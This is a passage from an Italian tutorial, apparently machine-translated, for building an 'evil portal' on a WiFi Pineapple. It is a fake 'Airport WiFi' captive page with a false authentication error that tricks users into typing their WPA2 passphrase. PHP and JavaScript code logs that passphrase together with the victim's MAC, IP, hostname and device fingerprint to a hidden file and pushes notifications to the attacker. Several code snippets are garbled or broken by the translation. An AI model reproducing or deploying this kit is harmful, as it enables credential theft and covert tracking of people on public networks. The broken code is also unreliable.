<p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center">STATUS: ERR_FAILED_AUTH - Qui si usa un elemento paragrafo per visualizzare un falso messaggio di errore all'utente. Utilizziamo le opzioni di stile text-left, small, text-muted, mt-4, d-flex, justify-content-between e align-items-center.

<p class="text-left small text-muted d-flex justify-content-between align-items-center">Client MAC: <?=getClientMac($_SERVER['REMOTE_ADDR']);?> - Qui utilizziamo un elemento paragrafo per chiamare la funzione PHP in helper.php per ottenere e mostrare l'indirizzo mac del cliente. Utilizziamo le opzioni di stile text-left, small, text-muted, d-flex, justify-content-between e align-items-center.

<a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="MESSAGE" title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Perché è successo?</a> - Qui usiamo un elemento di ancoraggio che utilizziamo come link cliccabile per visualizzare un popover/tooltip con del testo "utile". Utilizziamo # come attributo href, in modo che non vada da nessuna parte. Utilizziamo il nome della nostra classe personalizzata "popover-link", in modo da non confonderlo con il popover dell'HTML, e lo indirizziamo al focus, in modo da non centrare la pagina quando viene cliccato. Utilizziamo anche data-container, data-html, data-toggle, data-placement, data-content, un titolo, data-trigger e tabindex.

                       <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATUS: ERR_FAILED_AUTH <p class="text-left small text-muted d-flex justify-content-between align-items-center"> MAC del client: <?=getClientMac($_SERVER['REMOTE_ADDR']);?> <a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="Ciò è avvenuto a causa delle impostazioni dell'elenco di controllo degli accessi (ACL) implementate sul punto di accesso wireless. Ciò richiede che i dispositivi si autentichino nuovamente, interrogando l'ACL del punto di accesso. Se il dispositivo è autorizzato ad accedere a questa rete, il MAC del dispositivo sarà consentito dopo una nuova autenticazione tramite il captive portal integrato nei punti di accesso wireless. È per questo che viene visualizzato questo messaggio." title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Perché è successo?</a> </p> </p> </div> </div> </div> </div> </div> </div> </body> </html>

Ora dovremmo avere un default.php che assomiglia a questo.

Risultato di default.php:

<?php $destinazione = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . ""; require_once('helper.php'); require_once('visited.php'); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); $essid = "Airport WiFi 6"; ?> <iframe name="login" id="login" style="display: none;"></iframe> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> <link rel="stylesheet" href="/css/bootstrap-icons.css"> <script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> <script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> <link rel="stylesheet" href="/it/style.css"> <script type="text/javascript" src="/func.js"></script> <title><?= $essid ?></title> </head> <body> <div class="container mt-5"> <div class="form-row justify-content-center"> <div class="col-md-6"> <div class="card rounded-lg border-light shadow"> <div class="card-body text-center"> <img src="airport-logo.png" class="img-fluid mb-3" style="max-width: 200; max-height: 100px; object-fit: contain;"> <h3 class="card-title text-center"><?= $essid; ?></h3> <p class="text-center small mb-5">Sembra che sia necessario essere autorizzati a utilizzare questo punto di accesso wireless.</p> <form method="POST" action="/captiveportal/index.php" onsubmit="submitForm()" target="login" id="loginForm"> <div class="form-group text-left mb-4"> <label for="password">Passphrase:</label> <div class="input-group"> <input type="password" class="form-control" id="password" name="password" placeholder="WPA2 Passphrase" autocomplete="current-password" required> <div class="input-group-append"> <span class="input-group-text"> <i id="showPasswordIcon" class="bi bi-eye-fill" onclick="togglePassword()"></i> </span> </div> </div> </div>
                            </div> <div id="loading-message" class="text-center mt-3 mb-3 font-weight-bold"></div> <input type="hidden" name="ssid" value="<?<input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>"> <input type="hidden" name="useragent" value="<?= htmlspecialchars($_SERVER['HTTP_USER_AGENT']); ?>"> <input type="hidden" id="SR" name="SR" value=""> <input type="hidden" id="OS" name="OS" value=""> <input type="hidden" id="WB" name="WB" value=""> <input type="hidden" id="AT" name="AT" value="">
                            <input type="hidden" id="CC" name="CC" value=""> <script type="text/javascript">GSR(); GOS(); GWB(); GAT(); GCC();</script> <button type="submit" class="btn btn-orange btn-block text-white">Login</button> <div class="form-group form-check text-left mt-2"> <input type="checkbox" class="form-check-input" id="ACLAllow" name="ACLAllow" value="0"> <label class="form-check-label" for="ACLAllow">Aggiungi MAC all'elenco dei permessi ALC</label> </div> </form> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATO: ERR_FAILED_AUTH <p class="text-left small text-muted d-flex justify-content-between align-items-center"> MAC del cliente: <?=getClientMac($_SERVER['REMOTE_ADDR']);?> <a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="Ciò è avvenuto a causa delle impostazioni dell'elenco di controllo degli accessi (ACL) implementate sul punto di accesso wireless. Ciò richiede che i dispositivi si autentichino nuovamente, interrogando l'ACL del punto di accesso. Se il dispositivo è autorizzato ad accedere a questa rete, il MAC del dispositivo sarà consentito dopo una nuova autenticazione tramite il captive portal integrato nei punti di accesso wireless. È qui che viene visualizzato questo messaggio." title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Perché è successo?</a> </p> </p> </div> </div> </div> </div> </div> </div> </body> </html>

MyPortal.php

La prima cosa da fare è utilizzare le notifiche della WebUI, in modo da poterle visualizzare dall'interfaccia web di pineapples. Per farlo, dobbiamo modificare il file MyPortal.php e sostituirne il contenuto con questo. I crediti per la modifica vanno ad Alex-Sesh. Io l'ho semplicemente estesa un po' di più.

Vi spiegherò cosa sta succedendo qui.

namespace evilportal; -Gli spazi dei nomi in PHP sono un modo per organizzare e incapsulare il codice, aiutando a prevenire collisioni di nomi e dando la possibilità di abbreviare (alias) nomi lunghi, consentendo una migliore leggibilità.

class MyPortal{ } - Incapsula le definizioni di proprietà (variabili), metodi (funzioni) e costanti, fornendo una struttura per la creazione di oggetti in PHP. Nel nostro caso, estende un'altra classe chiamata Portale (che si trova più avanti).

extends Portal - La parola chiave extends consente alla classe figlia (MyPortal nel nostro codice) di ereditare tutte le proprietà e i metodi pubblici da un'altra classe madre (Portal nel nostro caso). Ciò consente anche alla classe figlio di sovrascrivere o estendere le proprietà ereditate.

public function handleAuthorization() - Dichiara un nuovo metodo pubblico (funzione) da utilizzare, chiamato "handleAuthorization".

if (isset($_POST['email'])) - Questa dichiarazione if utilizza la funzione PHP isset, che controlla che una variabile sia impostata e non sia nulla. Utilizza poi la variabile superglobale PHP POST, che consente di catturare i dati inviati dal modulo utilizzando l'indice dell'array "email". Insieme, questa riga controlla se la richiesta post ha la chiave "email" impostata e, in caso affermativo, esegue il resto del codice.

$email, $pwd, $mac, $ip, $hostname, $ssid, useragent, screenres, operatingsystem, webbrowser, architecture, cpucores - Queste variabili funzionano come le altre, usano la funzione set insieme all'operatore ternario, che controlla che un valore sia impostato e non nullo e, se lo è, assegna un valore predefinito di unknown.

$reflector = new \ReflectionClass(get_class($this)); - L'oggetto "reflector" crea una ReflectionClass per l'istanza della classe corrente "this". Utilizzando get_class si ottiene il nome della classe corrente e lo si riflette nell'oggetto.

$logPath = dirname($reflector->getFileName()); - Questo recupera la directory con dirname e il nome del file getFileName dell'oggetto di classe riflesso "reflector", che viene poi memorizzato come valore di "logPath".

$currentDate = date('Y-m-d H:i:s'); - Richiama il comando date e lo memorizza come valore di "currentDate".

$logContent = <<<EOD - Questo comando si chiama Heredoc e ci permette essenzialmente di formattare il file di log all'interno dello script in modo che appaia esattamente come vogliamo che appaia nel file di log. Usiamo "EOD;" per terminare la riga, questo è chiamato "End of Data" (fine dei dati), simile a "End of File" (fine del file), lo capirete meglio vedendo il seguito.

file_put_contents("{$logPath}/.logs", $logContent, FILE_APPEND); - Utilizza file_put_contents per aggiungere il "logContent" al file ".logs" situato in "logPath".

$this->execBackground("pineutil notify 0 'Password: $pwd for MAC: $mac'"); - Utilizza un metodo personalizzato "execBackground" all'interno di Portal.php, che consente allo script di eseguire un comando in background. Utilizza "exec" per fare da "eco" al comando fornito e da "pipe" a "at now", che pianifica l'esecuzione dell'attività senza attendere la fine dello script. Esegue il comando "pineutil notify 0" per inviare la notifica alla WebUI con i valori di mac e pwd.

parent::handleAuthorization(); - Richiama il metodo handleAuthorization di Portal.php per gestire prima l'autorizzazione. Controlla se l'IP del client è autorizzato e se il parametro target esiste nella richiesta. In caso affermativo, chiama una funzione redirect() per gestire il reindirizzamento.

parent::onSuccess(); - Richiama il metodo "onSuccess()", che richiede un'azione da intraprendere quando il client è autorizzato con successo.

parent::showError(); - Visualizza un messaggio di errore se il cliente non è autorizzato, anche se possiamo sovrascrivere questo messaggio se vogliamo.

Abbiamo commentato la riga "email" e cambiato l'istruzione if iniziale da "email" a "password", dato che stiamo usando un solo campo password nel nostro portale.

Ora vogliamo sostituire le seguenti righe nella pagina MyPortal.php:

   public function handleAuthorization() { // gestisce l'input del form o altre cose aggiuntive

Sostituire con:

   public function handleAuthorization() { if (isset($_POST['password'])) { // $email = isset($_POST['email']) ? $_POST['email'] : 'email'; $pwd = isset($_POST['password']) ? $_POST['password'] : 'password'; $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname'; $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac'; $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip'; $ssid = isset($_POST['ssid']) ? $_POST['ssid'] : 'ssid'; $useragent = isset($_POST['useragent']) ? $_POST['useragent'] : 'unknown'; $screenres = isset($_POST['SR']) ? $_POST['SR'] : 'unknown'; $operatingsystem = isset($_POST['OS']) ? $_POST['OS'] : 'unknown'; $webbrowser = isset($_POST['WB']) ? $_POST['WB'] : 'unknown'; $architecture = isset($_POST['AT']) ? $_POST['AT'] : 'sconosciuto'; $cpucores = isset($_POST['CC']) ? $_POST['CC'] : 'unknown'; $reflector = new \ReflectionClass(get_class($this)); $logPath = dirname($reflector->getFileName()); // Nuova variabile per il comando date $currentDate = date('Y-m-d H:i:s'); // Utilizzo di heredoc per contenuti multilinea $logContent = <<<EOD [$currentDate] SSID: {$ssid} Password: {$pwd} Hostname: {$hostname} MAC: {$mac} IP: {$ip} User Agent: {$useragent} Risoluzione schermo: {$screenres} OS: {$operatingsystem} Core CPU: {$cpucores} Arch: {$architettura} Browser Web: {$webbrowser} EOD; file_put_contents("{$logPath}/.logs", $logContent, FILE_APPEND); $this->execBackground("pineutil notify 0 'Password: $pwd per MAC: $mac'"); }

Creare Visited.php:

Qui ho voluto creare uno script php da includere nella nostra pagina default.php per ricevere una notifica quando qualcuno è riuscito a visualizzare la nostra pagina del captive portal. Questo script utilizza l'IP corrente dell'utente assegnato da pineapple e lo sottopone a un hash con md5 che viene usato per creare un nuovo file nella directory temp, per garantire che il comando "pineutil notify" non venga attivato per ogni successiva richiesta GET che la pagina web fa (per cose come immagini o file css e js esterni).

Come in precedenza, spiegherò cosa sta succedendo:

<?php - L'inizio del nostro script php.

$ip = $_SERVER['REMOTE_ADDR']; - Qui otteniamo l'indirizzo IP dell'utente connesso usando la superglobale PHP $_SERVER con "REMOTE_ADDR".

$mac = getClientMac($_SERVER['REMOTE_ADDR']); - In modo simile a quanto detto sopra, otteniamo l'indirizzo mac del cliente; si tratta di una funzione già definita nella pagina helper.php che è inclusa nel nostro default.php e quindi questa ha accesso alla funzione.

$ssid = getClientSSID($_SERVER['REMOTE_ADDR']); - È una funzione simile alla precedente, ma per l'SSID.

$hostname = getClientHostName($_SERVER['REMOTE_ADDR']); - Anche questo è come il precedente, ma per il nome dell'host.

$ua = htmlspecialchars($_SERVER['HTTP_USER_AGENT']); - È come sopra, ma usa "htmlspecialchars" per sanificare l'user agent, per evitare che qualcuno tenti di manometterlo.

$flag_directory = '/tmp/airport_page_visited_'; - Qui si imposta il nuovo file da creare senza l'estensione.

$flag_file = $flag_directory . md5($ip) . '.txt'; - Qui è dove eseguiamo la concatenazione di "flag_directory" + "md5($ip)" + ".txt", ottenendo infine un file come airport_page_visited_MD5SUM.txt.

if ($_SERVER['REQUEST_METHOD'] === 'GET') { - Qui usiamo un'istruzione if per verificare che il metodo di richiesta sia "GET", che sarà la prima volta che si visita la pagina.

if (!file_exists($flag_file)) { - Qui si controlla con un operatore logico NOT se il file "flag_file" non esiste.

file_put_contents($flag_file, ''); - Utilizziamo quindi "file_put_contents" per creare il file senza dati.

exec("pineutil notify 0 'Portale visitato - IP: $ip / MAC: $mac / ssid: $ssid / hostname: $hostname / UA: $ua'"); - Si esegue quindi il comando "pineutil notify" con il messaggio e tutte le variabili definite. È possibile modificarle, cosa che consiglio di fare, ma le più importanti sono MAC e UA.

<?php // Ottenere l'indirizzo IP dell'utente $ip = $_SERVER['REMOTE_ADDR']; // Ottenere l'indirizzo MAC dell'utente $mac = getClientMac($_SERVER['REMOTE_ADDR']); // Ottenere l'SSID dell'utente $ssid = getClientSSID($_SERVER['REMOTE_ADDR']); // Ottenere l'hostname dell'utente $hostname = getClientHostName($_SERVER['REMOTE_ADDR']);
// Ottenere l'agente utente $ua = htmlspecialchars($_SERVER['HTTP_USER_AGENT']); // Definire il percorso della directory in cui memorizzare i file flag $flag_directory = '/tmp/airport_page_visited_'; // Definire il percorso del file flag per il client $flag_file = $flag_directory . md5($ip) . '.txt'; // Controllare se si accede alla pagina tramite richiesta HTTP GET if ($_SERVER['REQUEST_METHOD'] === 'GET') { // Controllare se il file flag esiste per il client if (!file_exists($flag_file)) { // Crea il file flag per indicare che il comando è stato eseguito per questo client file_put_contents($flag_file, ''); // Esegue il comando con le seguenti variabili exec("pineutil notify 0 'Portale visitato - IP: $ip / MAC: $mac / ssid: $ssid / hostname: $hostname / UA: $ua'"); } }>

Creare Style.css

Qui creeremo il nostro file di stile per modellare alcuni dei nostri elementi; vi spiegherò cosa sta succedendo.

html, body { - Seleziona l'elemento figlio "body" all'interno del tag "html".

height: 100%; - Qui impostiamo l'altezza del corpo al 100%.

margin: 0; - Impostiamo quindi il margine del corpo html a 0, che è il valore predefinito e viene applicato a tutti e quattro i lati dell'elemento.

padding: 0; - Qui impostiamo il padding a 0 per il corpo html, che è di nuovo il valore predefinito.

body::before { - Qui utilizziamo "::before" che crea uno pseudo-elemento, utilizzato per creare lo stile di un elemento con la proprietà "content".

content: ""; - Qui si definisce il contenuto che sostituisce il valore "content" corrente, nel nostro caso non aggiungiamo nulla.

position: fixed; - Qui si imposta la posizione dell'elemento come fissa.

top: 0; - Qui impostiamo la posizione superiore a 0.

left: 0; - Impostiamo quindi la posizione sinistra a 0.

width: 100%; - Impostiamo la larghezza al 100% della larghezza dell'elemento.

height: 100%; - Impostiamo l'altezza al 100% della larghezza dell'elemento.

z-index: -1; - Utilizziamo quindi lo z-index per sovrapporre l'elemento agli altri elementi (come le immagini di sfondo).

background-image: url('splash.png'); - Qui impostiamo la posizione dell'immagine di sfondo da utilizzare nelle pagine.

background-size: cover; - Impostiamo quindi la dimensione dello sfondo su cover per ridimensionare l'immagine preservandone il rapporto.

background-position: center; - Qui impostiamo la posizione dello sfondo al centro.

filter: blur(0px); - Qui impostiamo il filtro per applicare effetti di stile a un elemento, come la sfocatura; esistono anche altre funzioni di filtro di stile con cui si può giocare. In realtà non aggiungiamo alcuna sfocatura, ma potrebbe essere utile aggiungerla!

.container { - Qui selezioniamo l'elemento con la classe container.

position: relative; - Qui impostiamo la posizione come relativa.

z-index: 1; - Utilizziamo nuovamente z-index con il valore 1 per posizionare l'elemento al di sopra di altri elementi.

.btn-orange { - Qui selezioniamo l'elemento con la classe btn-orange, il -orange è un nome personalizzato.

background-color: orange; - Impostiamo il colore di sfondo in arancione.

border-color: orange; - Impostiamo anche il colore del bordo in arancione.

transition: filter 0.3s; - Qui impostiamo un effetto di transizione di tipo filtro e un valore di 0,3s.

.btn-orange:hover, - Impostiamo il btn-orange su hover, che si attiverà quando l'utente ci passerà sopra con il mouse.

.btn-orange:focus { - Utilizziamo quindi il focus, che conferisce a un elemento il focus quando si interagisce con esso (ad esempio, quando l'utente fa clic per digitare nella casella di input).

filter: brightness(1.2); - Utilizziamo quindi filter per impostare la luminosità quando il pulsante riceve il focus, rendendolo più luminoso.

.btn-orange:active { - Qui impostiamo il btn-orange con active, che di solito si attiva quando l'utente fa clic sul pulsante tenendo premuto il mouse, ma termina al rilascio del mouse.

filter: brightness(0.8); - Qui impostiamo il pulsante quando è attivo per modificarne la luminosità diminuendola a 0.8.

.text-white { - Qui selezioniamo tutti gli elementi con la classe text-white.

color: white; - Impostiamo quindi il colore degli elementi sul bianco.

.card { - Qui selezioniamo tutti gli elementi con la classe card.

width: 100%; - Impostiamo quindi la larghezza della scheda al 100%.

/* styles.css */ html, body { height: 100%; margin: 0; padding: 0; } body::before { content: ""; position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; background-image: url('splash.png'); /* Sostituire con il percorso dell'immagine */ background-size: cover; background-position: center; filter: blur(0px); /* Opzionale: Applica un effetto di sfocatura allo sfondo */ } .container { position: relative; z-index: 1; } .btn-orange { background-color: orange; /* Impostare il colore predefinito sull'arancione desiderato */ border-color: orange; /* Adattare il colore del bordo di conseguenza */ transition: filter 0.3s; /* Aggiungere un effetto di transizione uniforme */ } .btn-orange:hover, .btn-orange:focus { filtro: brightness(1,2); /* Aumenta la luminosità al passaggio e al focus */ } .btn-orange:active { filtro: brightness(0,8); /* Diminuisce la luminosità quando è attivo (cliccato) */ } .text-white { colore: bianco; } .card { larghezza: 100%; }

Creare func.js

Ora creeremo il file delle funzioni, che conterrà quasi tutto il lavoro di questo progetto.

Reindirizzamento:

function redirect() { - Qui dichiariamo una nuova funzione chiamata redirect.

**setTimeout(function () { - Utilizziamo quindi la funzione setTimeout.

var ACLAllowChecked = $('#ACLAllow').prop('checked'); - Qui definiamo una nuova variabile "ACLAllowedChecked" che utilizza un selettore per selezionare il nostro elemento ACLAllow (la nostra casella di controllo), quindi utilizza JQuery prop per cambiare lo stato della casella di controllo in "checked".

var redirectURL = "/checking.php" + (ACLAllowChecked ? '?ACLAllow=1' : ''); - Qui definiamo una nuova variabile chiamata redirectURL che imposta un valore predefinito a "/checking.php" e usa l 'addizione per concatenare il parametro al redirectURL (se il controllo successivo è vero), quindi usa un operatore ternario per verificare che "ACLAllowChecked" sia effettivamente "checked". Se lo è, imposta il valore ACLAllow=1, che viene concatenato in precedenza; se non è impostato, imposta semplicemente il valore a zero, utilizzando due apici singoli ''.

window.location = redirectURL; - Qui si usa window.location e si imposta il valore come valore della variabile redirectURL.

}, 1000); - Questo è il tempo da attendere prima di eseguire il codice all'interno della funzione "setTimeout". È espresso in millisecondi.

function redirect() { setTimeout(function () { // Controlla se la casella di controllo è selezionata var ACLAllowChecked = $('#ACLAllow').prop('checked'); // Include il parametro ACLAllow nell'URL di redirect var redirectURL = "/checking.php" + (ACLAllowChecked ? '?ACLAllow=1' : ''); window.location = redirectURL; }, 1000); }

GoBack:

GoBack() - Questa è piuttosto semplice, usa la funzione setTimeout per ritardare il cambio di pagina usando window.location a /default.php dopo 100ms.

function GoBack() { setTimeout(function () { window.location = "/default.php"; }, 100); }

runTest:

function runTest() { - Come prima dichiariamo una nuova funzione "runTest".

var password = document.getElementById('password').value; - Qui usiamo document.getElementById per restituire e memorizzare il valore della password.

var xhr = new XMLHttpRequest(); - Definiamo quindi una nuova variabile "xhr" che crea una nuova XMLHttpRequest.

xhr.open('POST', '/run_test.php', true); - Utilizziamo quindi xhr.open per inizializzare la nostra richiesta XHR appena creata, di cui impostiamo il metodo, l'URL e l'async.

xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); - Utilizziamo quindi setRequestHeader con l'intestazione Content-Type e il MIME Type della richiesta come "application/x-www-form-urlencoded".

xhr.setRequestHeader('Cache-Control', 'no-store, no-cache, must-revalidate'); - Qui, come in precedenza, impostiamo le intestazioni di controllo della cache con le relative direttive.

xhr.setRequestHeader('Pragma', 'no-cache'); - Qui impostiamo nuovamente l'intestazione Pragma.

xhr.setRequestHeader('Expires', '0'); - Segue l'intestazione Expires. Lo stesso che abbiamo fatto in php nella pagina default.php.

var responseText = xhr.responseText.trim(); - Qui definiamo una nuova variabile "responseText" usando xhr responseText e trim per rimuovere gli spazi bianchi, che aggiungiamo in run_test.php per garantire che non venga fornito alcun output a console.log. La ragione di ciò è che con un valore nullo viene comunque fornita una "stringa vuota" alla console e volevo eliminarla del tutto.

if (responseText !== "") { - Utilizziamo quindi un'istruzione if per verificare che "responseText", utilizzando la Strict Inequality, non sia uguale a blank o null.

console.log(responseText); - Se l'affermazione precedente è vera, e lo sarà a causa dello spazio bianco intenzionale in run_test.php, l'output di responseText sarà inviato a console.log; nel nostro caso non ci sarà alcun output in console.log per questo.

xhr.send('password=' + encodeURIComponent(password)); - Infine, usiamo xhr.send per inviare il parametro del corpo "password=" e usiamo l'aggiunta con encodeURIComponent per assicurare che i caratteri speciali siano sostituiti nella richiesta.

function runTest() { var password = document.getElementById('password').value; var xhr = new XMLHttpRequest(); xhr.open('POST', '/run_test.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.setRequestHeader('Cache-Control', 'no-store, no-cache, must-revalidate'); xhr.setRequestHeader('Pragma', 'no-cache'); xhr.setRequestHeader('Expires', '0'); xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { var responseText = xhr.responseText.trim(); if (responseText !== "") { console.log(responseText); } // È possibile aggiungere ulteriori gestioni se necessario } }; xhr.send('password=' + encodeURIComponent(password)); }

submitForm:

function submitForm() { - Come prima, definiamo una nuova funzione submitForm.

$('#loading-message').text('Logging in, please wait...'); - Qui usiamo un selettore JQuery usando "#loading-message", che seleziona tutti gli elementi con "id" come "loading-message", quindi usa il testo per visualizzare il messaggio di caricamento.

runTest(); - Esegue la funzione runTest prima del ritardo.

setTimeout(function () { - Utilizziamo nuovamente la funzione setTimeout per ritardare l'esecuzione della funzione di reindirizzamento.

$('#loading-message').text(''); - Utilizza nuovamente il selettore JQuery per non impostare l'elemento div loading-message. In pratica lo fa sparire.

redirect(); - Esegue quindi la funzione di reindirizzamento.

}, 2000); - Il tempo che setTimeout deve attendere prima di eseguire il codice all'interno della sua funzione.

return true; - Qui si usa return true per consentire l'invio del modulo.

function submitForm() { // Mostra il messaggio di caricamento quando il modulo viene inviato $('#loading-message').text('Logging in, please wait...'); // Esegue immediatamente il Runtest runTest(); // Ritarda l'esecuzione della funzione di reindirizzamento // Se si regola troppo velocemente si potrebbe ottenere // una password errata su un inserimento corretto setTimeout(function () { $('#loading-message').text(''); redirect(); }, 2000); return true; }

togglePassword:

function togglePassword() { - Come prima definiamo una nuova funzione "togglePassword".

var passwordField = document.getElementById("password"); - Qui definiamo una nuova variabile e usiamo "document.getElementById" per impostare la variabile "passwordField" e selezionare l'elemento con l'"id" password.

var icon = document.getElementById("showPasswordIcon"); - Qui definiamo una nuova variabile, utilizzando anche "document.getElementById" per selezionare gli elementi con l'"id" showPasswordIcon.

if (passwordField.type === "password") { - Qui utilizziamo un'istruzione if per verificare che il tipo di PasswordFields, utilizzando la Strict Equality, sia uguale all'id di password.

passwordField.type = "text"; - In questo modo si imposta il "tipo" del campo password come un normale campo di testo (dando visibilità alla password).

icon.className = "bi-eye-slash-fill"; - Utilizza className per cambiare l'icona in bi-eye-slash-fill.

} else { - L'istruzione else qui significa che se l'istruzione if di cui sopra è uguale a false, allora si esegue il codice successivo.

passwordField.type = "password"; - Questo imposta il "tipo" dell'elemento idiomatico a "password", nascondendo la password in chiaro.

icon.className = "bi bi-eye-fill"; - Imposta la "classe" dell'elemento idiomatico sull'icona "bi bi-eye-fill".

function togglePassword() { var passwordField = document.getElementById("password"); var icon = document.getElementById("showPasswordIcon"); if (passwordField.type === "password") { passwordField.type = "text"; icon.className = "bi bi-eye-slash-fill"; } else { passwordField.type = "password"; icon.className = "bi-eye-fill"; } } }

GSR (Get screen Resolution):

function GSR() { - Iniziamo definendo la nostra funzione chiamata "GSR".

var screenWidth = window.screen.width; - Qui definiamo una variabile screenWidth con la proprietà screen.width, una proprietà di sola lettura che restituisce la larghezza dello schermo in pixel CSS.

var screenHeight = window.screen.height; - Qui definiamo la variabile screenHeight con la proprietà screen.height, proprio come la riga precedente, che restituisce l'altezza dello schermo in pixel CSS.

var resolution = screenWidth + "x" + screenHeight; - Qui definiamo un'altra variabile resolution che utilizza semplicemente l'addizione per concatenare screenWidth e screenHeight.

document.getElementById("SR").value = resolution; - In questo modo si imposta il valore dell'elemento di input nascosto, che ha l'id "SR", con il valore della variabile resolution, pronto per quando l'utente inserisce la password.

function GSR() { var screenWidth = window.screen.width; var screenHeight = window.screen.height; var resolution = screenWidth + "x" + screenHeight; // Imposta il valore del campo di input nascosto con la risoluzione dello schermo document.getElementById("SR").value = resolution; }

GOS (Get Operating System):

function GOS() { - Qui definiamo una nuova funzione "GOS".

var userAgent = navigator.userAgent; - Qui si definisce una nuova variabile da utilizzare chiamata "userAgent" che utilizza l'oggetto navigatore con la proprietà userAgent per ottenere e memorizzare l'agente utente.

var operatingSystem; - Qui si definisce una nuova variabile operatingSystem.

if (userAgent.includes("Windows NT 10.0")) operatingSystem = "Windows 10/11"; - Qui utilizziamo un'istruzione if e il metodo includes, che ci consente di determinare se un array contiene un determinato valore. Le nuove righe che seguono sono molto simili. Vengono utilizzate per cercare di recuperare il sistema operativo del target, che è Windows 10/11, utilizzando il suo UA.

else if (userAgent.includes("Windows NT 6.3")) operatingSystem = "Windows 8.1"; - Qui si utilizza un'istruzione else if per verificare se l'agente utente contiene "Windows NT 6.3", in caso affermativo si imposta la variabile operatingSystem su "Windows 8.1".

else if (userAgent.includes("Windows NT 6.2")) operatingSystem = "Windows 8"; - Qui si utilizza un'istruzione else if per verificare se l'agente utente contiene "Windows NT 6.2", in caso affermativo si imposta la variabile operatingSystem su "Windows 8".

else if (userAgent.includes("Windows NT 6.1")) operatingSystem = "Windows 7"; - Qui si utilizza un'istruzione else if per verificare se l'agente utente contiene "Windows NT 6.1", in caso affermativo si imposta la variabile operatingSystem su "Windows 7".

else if (userAgent.includes("Windows NT 6.0")) operatingSystem = "Windows Vista"; - Qui si utilizza un'istruzione else if per verificare se l'agente utente contiene "Windows NT 6.0", in caso affermativo si imposta la variabile operatingSystem su "Windows Vista".

else if (userAgent.includes("Windows NT 5.1")) operatingSystem = "Windows XP"; - Qui si utilizza un'istruzione else if per verificare se l'agente utente contiene "Windows NT 5.1", in caso affermativo si imposta la variabile operatingSystem su "Windows XP".

else if (userAgent.includes("Win")) operatingSystem = "Windows (Other)"; - Qui si utilizza un'istruzione else if per verificare se l'agente utente contiene "Win", in caso affermativo si imposta la variabile operatingSystem su "Windows (Other)".

else if (userAgent.includes("Mac") && userAgent.includes("Intel")) operatingSystem = "MacOS/iPad"; - Qui si utilizza un'istruzione else if per verificare se l'agente utente contiene "Mac" e "Intel", in caso affermativo si imposta la variabile operatingSystem su "MacOS/iPad" poiché entrambi utilizzano lo stesso tipo di UA.

else if (userAgent.includes("Linux") && !userAgent.includes("Android")) operatingSystem = "Linux"; - Qui si utilizza un'istruzione else if per verificare se l'agente utente contiene "Linux" e, utilizzando un operatore logico NOT, non include "Android"; in caso affermativo, si imposta la variabile operatingSystem su "Linux".

else if (userAgent.includes("Android")) operatingSystem = "Android"; - Qui si utilizza un'istruzione else if per verificare se l'agente utente contiene "Android", in caso affermativo si imposta la variabile operatingSystem su "Android".

else if (userAgent.includes("iPhone") && !userAgent.includes("Intel")) operatingSystem = "iOS (iPhone)"; - Qui si utilizza un'istruzione else if per verificare se l'agente utente contiene "iPhone" e non include "Intel", in caso affermativo si imposta la variabile operatingSystem su "iOS (iPhone)", poiché entrambi utilizzano lo stesso tipo di UA.

else operatingSystem = "Unknown OS"; - In questo caso, se tutte le affermazioni precedenti sono uguali a false, si imposta "Unknown OS".

document.getElementById("OS").value = operatingSystem; - Qui impostiamo il valore dell'elemento di input nascosto che ha l'id "OS" con il valore della variabile operatingSystem.

function GOS() { var userAgent = navigator.userAgent; var operatingSystem; if (userAgent.include("Windows NT 10.0")) operatingSystem = "Windows 10/11"; else if (userAgent.include("Windows NT 6.3")) operatingSystem = "Windows 8.1"; else if (userAgent.include("Windows NT 6.2")) operatingSystem = "Windows 8"; else if (userAgent.includes("Windows NT 6.1")) operatingSystem = "Windows 7"; else if (userAgent.includes("Windows NT 6.0")) operatingSystem = "Windows Vista"; else if (userAgent.includes("Windows NT 5.1")) operatingSystem = "Windows XP"; else if (userAgent.include("Win")) operatingSystem = "Windows (Other)"; else if (userAgent.includes("Mac") && userAgent.includes("Intel")) operatingSystem = "MacOS/iPad"; else if (userAgent.includes("Linux") && !userAgent.includes("Android")) operatingSystem = "Linux"; else if (userAgent.include("Android")) operatingSystem = "Android"; else if (userAgent.includes("iPhone") && !userAgent.includes("Intel")) operatingSystem = "iOS (iPhone)"; else operatingSystem = "Unknown OS"; document.getElementById("OS").value = operatingSystem; }

GWB (Get Web Browser):

function GWB() { - Qui si definisce una nuova funzione "GWB".

